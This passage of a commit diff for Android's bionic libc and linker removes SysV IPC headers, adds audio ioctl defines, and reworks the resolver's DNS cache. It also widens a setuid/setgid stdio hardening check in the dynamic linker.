* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef _SYS_MSG_H
#define _SYS_MSG_H
#include <sys/ipc.h>
#include <linux/msg.h>
__BEGIN_DECLS
extern int msgctl(int msqid, int cmd, struct msqid_ds *buf);
extern int msgget(key_t key, int msgflg);
extern int msgrcv(int msqid, void* msgp, size_t msgsz, long int msgtyp, int msgflg);
extern int msgsnd(int msqid, const void* msgp, size_t msgsz, int msgflg);
__END_DECLS
#endif /* _SYS_MSG_H */

43
libc/include/sys/shm.h
View File

@ -1,43 +0,0 @@
/*
* Copyright (C) 2008 The Android Open Source Project
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifndef _SYS_SHM_H
#define _SYS_SHM_H
#include <sys/ipc.h>
#include <linux/shm.h>
__BEGIN_DECLS
extern void* shmat(int shmid, const void* shmaddr, int shmflg);
extern int shmctl(int shmid, int cmd, struct shmid_ds* buf);
extern int shmdt(const void* shmaddr);
extern int shmget(key_t key, size_t size, int shmflg);
__END_DECLS
#endif /* _SYS_SHM_H */

4
libc/kernel/common/linux/msm_audio.h
View File

@ -29,6 +29,10 @@
#define AUDIO_SET_EQ _IOW(AUDIO_IOCTL_MAGIC, 8, unsigned)
#define AUDIO_SET_RX_IIR _IOW(AUDIO_IOCTL_MAGIC, 9, unsigned)
#define AUDIO_SET_VOLUME _IOW(AUDIO_IOCTL_MAGIC, 10, unsigned)
#define AUDIO_ENABLE_AUDPRE _IOW(AUDIO_IOCTL_MAGIC, 11, unsigned)
#define AUDIO_SET_AGC _IOW(AUDIO_IOCTL_MAGIC, 12, unsigned)
#define AUDIO_SET_NS _IOW(AUDIO_IOCTL_MAGIC, 13, unsigned)
#define AUDIO_SET_TX_IIR _IOW(AUDIO_IOCTL_MAGIC, 14, unsigned)
struct msm_audio_config {
uint32_t buffer_size;

25
libc/netbsd/gethnamaddr.c
View File

@ -626,37 +626,12 @@ gethostbyname_internal(const char *name, int af, res_state res)
break;
}
#ifdef ANDROID_CHANGES
cache = __get_res_cache();
if (cache != NULL) {
hp = _resolv_cache_lookup( cache, name, af );
if (hp == _RESOLV_HOSTENT_NONE) {
h_errno = HOST_NOT_FOUND;
return NULL;
}
if (hp != NULL) {
h_errno = NETDB_SUCCESS;
return hp;
}
}
#endif
hp = NULL;
h_errno = NETDB_INTERNAL;
if (nsdispatch(&hp, dtab, NSDB_HOSTS, "gethostbyname",
default_dns_files, name, strlen(name), af) != NS_SUCCESS) {
#ifdef ANDROID_CHANGES
/* cache negative DNS entry */
if (h_errno == HOST_NOT_FOUND && cache != NULL)
_resolv_cache_add( cache, name, af, _RESOLV_HOSTENT_NONE );
#endif
return NULL;
}
#ifdef ANDROID_CHANGES
if (cache != NULL) {
_resolv_cache_add( cache, name, af, hp );
}
#endif
h_errno = NETDB_SUCCESS;
return hp;
}

1484
libc/netbsd/resolv/res_cache.c
View File

File diff suppressed because it is too large Load Diff

32
libc/netbsd/resolv/res_send.c
View File

@ -81,6 +81,9 @@ __RCSID("$NetBSD: res_send.c,v 1.9 2006/01/24 17:41:25 christos Exp $");
#endif
#endif /* LIBC_SCCS and not lint */
/* set to 1 to use our small/simple/limited DNS cache */
#define USE_RESOLV_CACHE 1
/*
* Send query to name server and wait for reply.
*/
@ -111,6 +114,10 @@ __RCSID("$NetBSD: res_send.c,v 1.9 2006/01/24 17:41:25 christos Exp $");
#include <isc/eventlib.h>
#if USE_RESOLV_CACHE
# include <resolv_cache.h>
#endif
#ifndef DE_CONST
#define DE_CONST(c,v) v = ((c) ? \
strchr((const void *)(c), *(const char *)(const void *)(c)) : NULL)
@ -344,12 +351,17 @@ res_queriesmatch(const u_char *buf1, const u_char *eom1,
return (1);
}
int
res_nsend(res_state statp,
const u_char *buf, int buflen, u_char *ans, int anssiz)
{
int gotsomewhere, terrno, try, v_circuit, resplen, ns, n;
char abuf[NI_MAXHOST];
#if USE_RESOLV_CACHE
struct resolv_cache* cache;
ResolvCacheStatus cache_status = RESOLV_CACHE_UNSUPPORTED;
#endif
if (statp->nscount == 0) {
errno = ESRCH;
@ -365,6 +377,20 @@ res_nsend(res_state statp,
gotsomewhere = 0;
terrno = ETIMEDOUT;
#if USE_RESOLV_CACHE
cache = __get_res_cache();
if (cache != NULL) {
int anslen = 0;
cache_status = _resolv_cache_lookup(
cache, buf, buflen,
ans, anssiz, &anslen);
if (cache_status == RESOLV_CACHE_FOUND) {
return anslen;
}
}
#endif
/*
* If the ns_addr_list in the resolver context has changed, then
* invalidate our cached copy and the associated timing data.
@ -534,6 +560,12 @@ res_nsend(res_state statp,
(stdout, "%s", ""),
ans, (resplen > anssiz) ? anssiz : resplen);
#if USE_RESOLV_CACHE
if (cache_status == RESOLV_CACHE_NOTFOUND) {
_resolv_cache_add(cache, buf, buflen,
ans, resplen);
}
#endif
/*
* If we have temporarily opened a virtual circuit,
* or if we haven't been asked to keep a socket open,

15
libc/netbsd/resolv/res_state.c
View File

@ -46,7 +46,6 @@ typedef struct {
struct __res_state _nres[1];
unsigned _serial;
struct prop_info* _pi;
struct hostent* _hostent;
struct res_static _rstatic[1];
} _res_thread;
@ -66,10 +65,10 @@ _res_thread_alloc(void)
if ( res_ninit( rt->_nres ) < 0 ) {
free(rt);
rt = NULL;
}
rt->_hostent = NULL;
} else {
memset(rt->_rstatic, 0, sizeof rt->_rstatic);
}
}
return rt;
}
@ -93,7 +92,6 @@ _res_thread_free( void* _rt )
_res_thread* rt = _rt;
_res_static_done(rt->_rstatic);
_resolv_hostent_free(rt->_hostent);
res_ndestroy(rt->_nres);
free(rt);
}
@ -132,6 +130,7 @@ _res_thread_get(void)
rt = NULL;
pthread_setspecific( _res_key, rt );
}
_resolv_cache_reset(rt->_serial);
return rt;
}
@ -177,14 +176,6 @@ __res_put_state(res_state res)
res=res;
}
struct hostent**
__get_res_cache_hostent_p(void)
{
_res_thread* rt = _res_thread_get();
return rt ? &rt->_hostent : NULL;
}
res_static
__res_get_static(void)
{

0
libc/bionic/logd.h → libc/private/logd.h
View File

48
libc/private/resolv_cache.h
View File

@ -28,31 +28,39 @@
#ifndef _RESOLV_CACHE_H_
#define _RESOLV_CACHE_H_
#include <netdb.h>
const struct hostent _resolv_hostent_none;
#define _RESOLV_HOSTENT_NONE ((struct hostent*)&_resolv_hostent_none)
struct resolv_cache; /* forward */
/* get cache instance, can be NULL if cache is disabled
* (e.g. through an environment variable) */
extern struct resolv_cache* __get_res_cache(void);
extern struct hostent** __get_res_cache_hostent_p(void);
extern struct resolv_cache* _resolv_cache_get( void );
/* this gets called everytime we detect some changes in the DNS configuration
* and will flush the cache */
extern void _resolv_cache_reset( unsigned generation );
extern struct resolv_cache* _resolv_cache_create( void );
typedef enum {
RESOLV_CACHE_UNSUPPORTED, /* the cache can't handle that kind of queries */
/* or the answer buffer is too small */
RESOLV_CACHE_NOTFOUND, /* the cache doesn't know about this query */
RESOLV_CACHE_FOUND /* the cache found the answer */
} ResolvCacheStatus;
extern void _resolv_cache_destroy( struct resolv_cache* cache );
extern ResolvCacheStatus
_resolv_cache_lookup( struct resolv_cache* cache,
const void* query,
int querylen,
void* answer,
int answersize,
int *answerlen );
extern struct hostent* _resolv_cache_lookup( struct resolv_cache* cache,
const char* name,
int af );
extern void _resolv_cache_add( struct resolv_cache* cache,
const char* name,
int af,
struct hostent* hp );
extern struct hostent* _resolv_hostent_copy( struct hostent* hp );
extern void _resolv_hostent_free( struct hostent* hp );
/* add a (query,answer) to the cache, only call if _resolv_cache_lookup
* did return RESOLV_CACHE_NOTFOUND
*/
extern void
_resolv_cache_add( struct resolv_cache* cache,
const void* query,
int querylen,
const void* answer,
int answerlen );
#endif /* _RESOLV_CACHE_H_ */

18
linker/linker.c
View File

@ -1133,13 +1133,25 @@ static int reloc_library(soinfo *si, Elf32_Rel *rel, unsigned count)
switch(type){
#if defined(ANDROID_ARM_LINKER)
case R_ARM_JUMP_SLOT:
COUNT_RELOC(RELOC_ABSOLUTE);
MARK(rel->r_offset);
TRACE_TYPE(RELO, "%5d RELO JMP_SLOT %08x <- %08x %s\n", pid,
reloc, sym_addr, sym_name);
*((unsigned*)reloc) = sym_addr;
break;
case R_ARM_GLOB_DAT:
COUNT_RELOC(RELOC_ABSOLUTE);
MARK(rel->r_offset);
TRACE_TYPE(RELO, "%5d RELO GLOB_DAT %08x <- %08x %s\n", pid,
reloc, sym_addr, sym_name);
*((unsigned*)reloc) = sym_addr;
break;
case R_ARM_ABS32:
COUNT_RELOC(RELOC_ABSOLUTE);
MARK(rel->r_offset);
TRACE_TYPE(RELO, "%5d RELO ABS %08x <- %08x %s\n", pid,
reloc, sym_addr, sym_name);
*((unsigned*)reloc) = sym_addr;
*((unsigned*)reloc) += sym_addr;
break;
#elif defined(ANDROID_X86_LINKER)
case R_386_JUMP_SLOT:
@ -1591,13 +1603,13 @@ static int link_image(soinfo *si, unsigned wr_offset)
}
#endif
/* If this is a SETUID programme, dup /dev/null to openned stdin,
/* If this is a SET?ID program, dup /dev/null to opened stdin,
stdout and stderr to close a security hole described in:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:23.stdio.asc
*/
if (getuid() != geteuid())
if (getuid() != geteuid() || getgid() != getegid())
nullify_closed_stdio ();
call_constructors(si);
notify_gdb_of_load(si);